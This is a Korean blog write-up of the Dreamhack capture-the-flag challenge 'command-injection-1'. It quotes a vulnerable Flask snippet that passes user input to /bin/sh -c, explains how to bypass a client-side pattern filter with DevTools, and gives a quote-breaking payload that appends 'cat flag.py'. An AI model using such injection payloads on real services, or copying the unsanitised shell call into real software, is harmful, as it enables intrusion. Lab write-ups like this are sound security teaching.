IT/정보보안
[Dreamhack] command-injection-1 문제 풀이
읽어보고서
2025. 5. 1. 02:08
반응형
💻 "드림핵의 퍼즐들은 나의 손끝에서 해체된다..."
"디지털 전장에 소환된 나는, 이제 문제를 사냥할 뿐이다."
🎯 command-injection-1 문제 시작해보자!
문제 설명
특정 Host에 ping 패킷을 보내는 서비스입니다.
Command Injection을 통해 플래그를 획득하세요.
플래그는 flag.py에 있습니다.
🔍 app.py 코드 분석
host = request.form.get('host')
cmd = f'ping -c 3 "{host}"'
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
✅ 사용자 입력이 쉘 명령어에 직접 삽입됨
host 값이 "..." 안에 들어가면서도, 쉘은 "을 닫고 다음 명령을 이어붙일 수 있음
/bin/sh -c로 명령을 실행하므로, 입력값 뒤에 &&, |, ; 등을 붙여도 전부 실행됨
🚀 문제풀이 과정
1️⃣ 정상 입력
입력: 8.8.8.8
→ 명령어: ping -c 3 "8.8.8.8"
→ 정상 수행
2️⃣ HTML 필터 우회
HTML form에서 input에는 정규표현식 필터가 걸려 있음
pattern="[A-Za-z0-9.]{15,20}"
하지만... <input>에 정규식 필터가 있지만, 개발자 도구(DevTools)로 pattern 속성 제거 가능!
3️⃣ 페이로드 삽입
8.8.8.8" && cat flag.py && echo "
"을 닫고 cat flag.py를 붙이는 구조
ping -c 3 "8.8.8.8" && cat flag.py && echo "가 실행됨
4️⃣ 결과 페이지에서 플래그 출력
플래그 출력!
필터 우회부터 DevTools 조작, 다양한 명령어 페이로드까지 진짜 CTF 실전 감성으로 잘 짜여진 문제였어 🔥
반응형